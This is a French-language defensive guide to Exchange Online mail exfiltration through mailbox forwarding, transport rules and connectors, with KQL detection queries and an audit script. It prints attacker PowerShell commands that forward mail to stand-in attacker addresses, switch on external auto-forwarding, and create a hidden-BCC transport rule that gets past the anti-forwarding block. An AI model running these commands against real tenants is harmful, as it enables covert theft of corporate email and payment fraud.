Aller au contenu

Redirections de mail, règles de transport & abus de connecteurs

Tandis que les règles de boîte de réception ciblent un utilisateur individuel, les cybercriminels cherchant une persistance administrative et une exfiltration massive à l’échelle du tenant opèrent aux échelons supérieurs d’Exchange Online. En manipulant les attributs de transfert de boîte aux lettres, les règles de flux de messagerie de transport (Transport Rules) et les connecteurs sortants, les attaquants déploient des dispositifs d’espionnage automatisés interceptant l’ensemble des flux d’entreprise.

De surcroît, les adversaires expérimentés savent neutraliser les mécanismes anti-spam natifs de Microsoft — qui bloquent par défaut les transferts externes avec le code NDR 550 5.7.520 — en exploitant la duplication par copie cachée (BlindCopyTo) au niveau du transport ou en altérant les politiques de filtrage sortant.

Ce guide propose une dissection technique et forensique des trois niveaux de redirection de messagerie, analyse les techniques de contournement anti-spam, détaille la télémétrie Purview et fournit des requêtes de détection KQL ainsi que des scripts d’investigation PowerShell.


1. Les trois niveaux de redirection de messagerie cloud

Section intitulée « 1. Les trois niveaux de redirection de messagerie cloud »

Exchange Online dispose de trois strates distinctes pour détourner ou dupliquer les flux de courriels :

graph TD
INCOMING[Email Entrant Reçu par EOP] --> TIER3{Niveau 3 : Connecteurs Entrants / Sortants<br/>Routage vers Smart Host Externe / Abus de Relais}
TIER3 --> TIER2{Niveau 2 : Règles de Transport de Flux<br/>Évaluation Globale par le Categorizer<br/>BlindCopyTo / RedirectMessageTo}
TIER2 --> TIER1{Niveau 1 : Propriétés de la Boîte Mail<br/>ForwardingSmtpAddress / ForwardingAddress<br/>DeliverToMailboxAndForward}
TIER1 --> STORE[Dépôt dans la Boîte de Réception]
TIER1 -.->|Transfert Externe| EXFIL1[(Boîte de Collecte Pirate)]
TIER2 -.->|Copie Cachée Invisible| EXFIL2[(Boîte de Collecte Pirate)]
TIER3 -.->|Relais MTA Hostile| EXFIL3[(Serveur Mail Contrôlé par l'Attaquant)]

1.1 matrice comparative des niveaux de redirection

Section intitulée « 1.1 matrice comparative des niveaux de redirection »
Niveau de RedirectionPérimètre d’ApplicationCommandes de ConfigurationImpact Forensique & Niveau de Risque
Niveau 1 : propriétés de boîtePar boîte aux lettresSet-Mailbox -ForwardingSmtpAddressTransfère tous les emails entrants d’une cible vers l’extérieur. Soumis au blocage de l’Anti-Spam sortant.
Niveau 2 : règles de transportÀ l’échelle du tenant (Global)New-TransportRule -BlindCopyToDuplique silencieusement en copie cachée les messages correspondant aux critères. Contourne le blocage anti-spam.
Niveau 3 : connecteursFrontière de transport du tenantNew-OutboundConnectorRévise le routage des domaines sortants vers un serveur SMTP externe sous contrôle pirate, interceptant les emails en clair.

2. Fonctionnement du transfert au niveau boîte (niveau 1)

Section intitulée « 2. Fonctionnement du transfert au niveau boîte (niveau 1) »

Au niveau individuel, Exchange Online propose deux paramètres distincts sur l’objet boîte aux lettres :

  1. ForwardingAddress : pointe vers un objet destinataire interne déjà référencé dans l’annuaire Entra ID / Exchange (contact ou utilisateur de messagerie).
  2. ForwardingSmtpAddress : reçoit une chaîne d’adresse SMTP externe arbitraire (ex. collecte@domaine-attaquant.com).
  3. DeliverToMailboxAndForward :
    • Si positionné à $true, l’email est déposé dans la boîte de la victime et transféré vers l’extérieur.
    • Si positionné à $false, la boîte agit comme un trou noir : l’email est transféré au pirate mais aucune copie n’est déposée dans la boîte de la victime, qui ignore totalement la réception du message.
Fenêtre de terminal
# Commande d'exfiltration utilisée par les attaquants
Set-Mailbox -Identity "daf@target.com" `
-ForwardingSmtpAddress "audit-financier@domaine-pirate.com" `
-DeliverToMailboxAndForward $false

3. Contournement des protections anti-transfert externes

Section intitulée « 3. Contournement des protections anti-transfert externes »

Dans la configuration par défaut de Microsoft 365, les transferts automatiques externes sont interdits pour contrer les fraudes BEC :

550 5.7.520 Access denied, Your organization does not allow external forwarding.

Les attaquants contournent cette restriction via deux méthodes majeures :

graph TD
ATTACK[L'Attaquant Veut Exfiltrer les Flux de Mail] --> METHOD{Vecteur de Contournement}
METHOD -->|Vecteur A : Altération de Politique| POL[Modification de la Politique Anti-Spam Sortante<br/>Set-HostedOutboundSpamFilterPolicy<br/>AutoForwardingMode = On]
METHOD -->|Vecteur B : Duplication par Règle de Transport| TR[Création d'une Règle avec BlindCopyTo<br/>New-TransportRule -BlindCopyTo pirate@drop.com]
POL --> NDR_OFF[EOP Autorise les Transferts Externes<br/>Le NDR 5.7.520 est Désactivé sur Tout le Tenant]
TR --> CAT_DUP[Le Categorizer Duplique le Message<br/>Évalué comme Destinataire d'Enveloppe Autonome<br/>Non Classé comme 'Auto-Forward' !]

3.1 vecteur a : altération de la politique anti-spam sortante

Section intitulée « 3.1 vecteur a : altération de la politique anti-spam sortante »

Si l’attaquant a compromis un compte disposant du rôle Exchange Administrator ou Security Administrator, il modifie la politique par défaut :

Fenêtre de terminal
Set-HostedOutboundSpamFilterPolicy -Identity "Default" -AutoForwardingMode On

Cette commande unique réactive les transferts externes sur l’ensemble du tenant, levant instantanément le blocage EOP.

3.2 vecteur b : duplication par règle de transport (la faille du BCC)

Section intitulée « 3.2 vecteur b : duplication par règle de transport (la faille du BCC) »

Les attaquants les plus expérimentés ne modifient pas la politique globale. Ils créent une règle de transport (Mail Flow Rule) intégrant une action de copie cachée invisible (BlindCopyTo) :

Fenêtre de terminal
New-TransportRule -Name "Supervision Financiere" `
-FromScope InOrganization `
-SubjectOrBodyContainsWords @("virement", "facture", "paiement", "RIB", "banque") `
-BlindCopyTo "exfil@external-intelligence.com" `
-Priority 0

Le moteur de routage (transport categorizer) d’Exchange Online traite BlindCopyTo comme une expansion de destinataire d’enveloppe au niveau transport, et non comme un transfert automatique émanant d’un client. Par conséquent, EOP évalue le message comme un courriel sortant ordinaire, contournant intégralement la règle d’interdiction AutoForwardingMode = Prohibited !


4. Télémétrie et artefacts forensiques dans purview UAL

Section intitulée « 4. Télémétrie et artefacts forensiques dans purview UAL »

Toute modification de routage produit un enregistrement sous RecordType : ExchangeAdmin (2) dans le Unified Audit Log :

OpérationServiceÉléments Clés Enregistrés dans AuditData
Set-MailboxExchangeParameters.ForwardingSmtpAddress, Parameters.DeliverToMailboxAndForward, cible.
New-TransportRuleExchangeParameters.Name, Parameters.BlindCopyTo, Parameters.RedirectMessageTo, conditions.
Set-HostedOutboundSpamFilterPolicyExchangeParameters.AutoForwardingMode (On vs Prohibited).
New-OutboundConnectorExchangeParameters.SmartHosts, Parameters.RecipientDomains, Parameters.TlsDomain.
// Exemple d'enregistrement UAL pour la création d'une règle de transport malveillante
{
"CreationTime": "2026-03-24T11:45:10",
"Id": "9f8e7d6c-5b4a-3210-9876-1e2f3a4b5c6d",
"Operation": "New-TransportRule",
"OrganizationId": "8f3b6a9c-2d1e-4b5a-9f8e-7c6b5a4d3e2f",
"RecordType": 2,
"ResultStatus": "True",
"UserId": "admin-compromis@target.com",
"ClientIP": "198.51.100.33",
"Parameters": [
{ "Name": "Name", "Value": "Supervision Qualite Service" },
{ "Name": "BlindCopyTo", "Value": "surveillance@external-drop.com" },
{ "Name": "SubjectOrBodyContainsWords", "Value": "facture;virement;RIB;banque" },
{ "Name": "Priority", "Value": "0" }
]
}

5.1 détection de l’altération de la politique anti-spam sortante

Section intitulée « 5.1 détection de l’altération de la politique anti-spam sortante »

Identifier toute action administrative activant les transferts automatiques externes :

CloudAppEvents
| where TimeGenerated >= ago(30d)
| where ActionType in ("Set-HostedOutboundSpamFilterPolicy", "New-HostedOutboundSpamFilterPolicy")
| extend Raw = parse_json(RawEventData)
| extend Parameters = Raw.Parameters
| mv-expand Parameters
| where Parameters.Name == "AutoForwardingMode" and Parameters.Value in ("On", "Enabled")
| project TimeGenerated, AccountDisplayName, ActionType, PolicyName=tostring(Raw.ObjectId),
ClientIP=tostring(Raw.ClientIP), Parameters
| sort by TimeGenerated desc

5.2 détection des règles de transport avec copie cachée OU redirection externe

Section intitulée « 5.2 détection des règles de transport avec copie cachée OU redirection externe »

Repérer les règles de flux dupliquant des messages vers des adresses externes :

CloudAppEvents
| where TimeGenerated >= ago(30d)
| where ActionType in ("New-TransportRule", "Set-TransportRule")
| extend Raw = parse_json(RawEventData)
| extend Parameters = Raw.Parameters
| mv-expand Parameters
| extend ParamName = tostring(Parameters.Name), ParamValue = tostring(Parameters.Value)
| summarize
RuleParams = make_bag(pack(ParamName, ParamValue)),
ClientIP = take_any(tostring(Raw.ClientIP))
by TimeGenerated, AccountDisplayName, ActionType
| extend RuleName = tostring(RuleParams.Name),
BlindCopyTo = tostring(RuleParams.BlindCopyTo),
RedirectTo = tostring(RuleParams.RedirectMessageTo)
| where isnotempty(BlindCopyTo) or isnotempty(RedirectTo)
| project TimeGenerated, AccountDisplayName, ActionType, RuleName, BlindCopyTo, RedirectTo, ClientIP
| sort by TimeGenerated desc

5.3 détection des transferts directs au niveau boîte mail (Set-Mailbox)

Section intitulée « 5.3 détection des transferts directs au niveau boîte mail (Set-Mailbox) »

Repérer l’attribution d’une adresse de transfert SMTP externe sur une boîte :

CloudAppEvents
| where TimeGenerated >= ago(30d)
| where ActionType == "Set-Mailbox"
| extend Raw = parse_json(RawEventData)
| extend Parameters = Raw.Parameters
| mv-expand Parameters
| where Parameters.Name in ("ForwardingSmtpAddress", "ForwardingAddress")
| where isnotempty(tostring(Parameters.Value))
| project TimeGenerated, AccountDisplayName, TargetMailbox=tostring(Raw.ObjectId),
ForwardingParameter=tostring(Parameters.Name), ForwardingTarget=tostring(Parameters.Value),
ClientIP=tostring(Raw.ClientIP)
| sort by TimeGenerated desc

6. Script PowerShell d’audit global et neutralisation

Section intitulée « 6. Script PowerShell d’audit global et neutralisation »

Exécuter ce script lors d’une intervention pour contrôler les trois niveaux de routage :

Fenêtre de terminal
# Prérequis : Module ExchangeOnlineManagement
# Connect-ExchangeOnline
Write-Host "=====================================================" -ForegroundColor Cyan
Write-Host " AUDIT DU ROUTAGE ET DES REDIRECTIONS EXCHANGE ONLINE" -ForegroundColor Cyan
Write-Host "=====================================================" -ForegroundColor Cyan
# 1. Contrôle de la politique anti-spam sortante
Write-Host "`n[*] Examen des politiques anti-spam sortantes..." -ForegroundColor Yellow
$spamPolicies = Get-HostedOutboundSpamFilterPolicy
foreach ($pol in $spamPolicies) {
if ($pol.AutoForwardingMode -eq "On") {
Write-Error "[!] ALERTE CRITIQUE : La politique '$($pol.Name)' a son AutoForwardingMode activé sur ON !"
} else {
Write-Host "[+] Politique '$($pol.Name)' : AutoForwardingMode est $($pol.AutoForwardingMode)" -ForegroundColor Green
}
}
# 2. Contrôle des transferts configurés sur les boîtes aux lettres
Write-Host "`n[*] Examen des transferts au niveau boîte..." -ForegroundColor Yellow
$forwarded = Get-Mailbox -ResultSize Unlimited | Where-Object { $_.ForwardingSmtpAddress -or $_.ForwardingAddress }
if ($forwarded) {
Write-Warning "[!] $($forwarded.Count) boîte(s) avec transfert externe actif identifiée(s) :"
$forwarded | Select-Object DisplayName, UserPrincipalName, ForwardingSmtpAddress, DeliverToMailboxAndForward | Format-Table
} else {
Write-Host "[+] Aucun transfert externe configuré sur les boîtes." -ForegroundColor Green
}
# 3. Contrôle des règles de transport (BCC / Redirection)
Write-Host "`n[*] Examen des règles de flux de transport (Mail Flow)..." -ForegroundColor Yellow
$transportRules = Get-TransportRule | Where-Object { $_.BlindCopyTo -or $_.RedirectMessageTo }
if ($transportRules) {
Write-Warning "[!] $($transportRules.Count) règle(s) de transport avec copie cachée (BCC) ou redirection :"
$transportRules | Select-Object Name, Priority, State, BlindCopyTo, RedirectMessageTo | Format-Table
} else {
Write-Host "[+] Aucune règle de transport avec copie cachée suspecte détectée." -ForegroundColor Green
}
# 4. Contrôle des connecteurs sortants
Write-Host "`n[*] Examen des connecteurs sortants..." -ForegroundColor Yellow
$connectors = Get-OutboundConnector
if ($connectors) {
Write-Warning "[!] Examen des connecteurs sortants configurés :"
$connectors | Select-Object Name, Enabled, ConnectorType, SmartHosts, RecipientDomains | Format-Table
} else {
Write-Host "[+] Aucun connecteur sortant personnalisé configuré." -ForegroundColor Green
}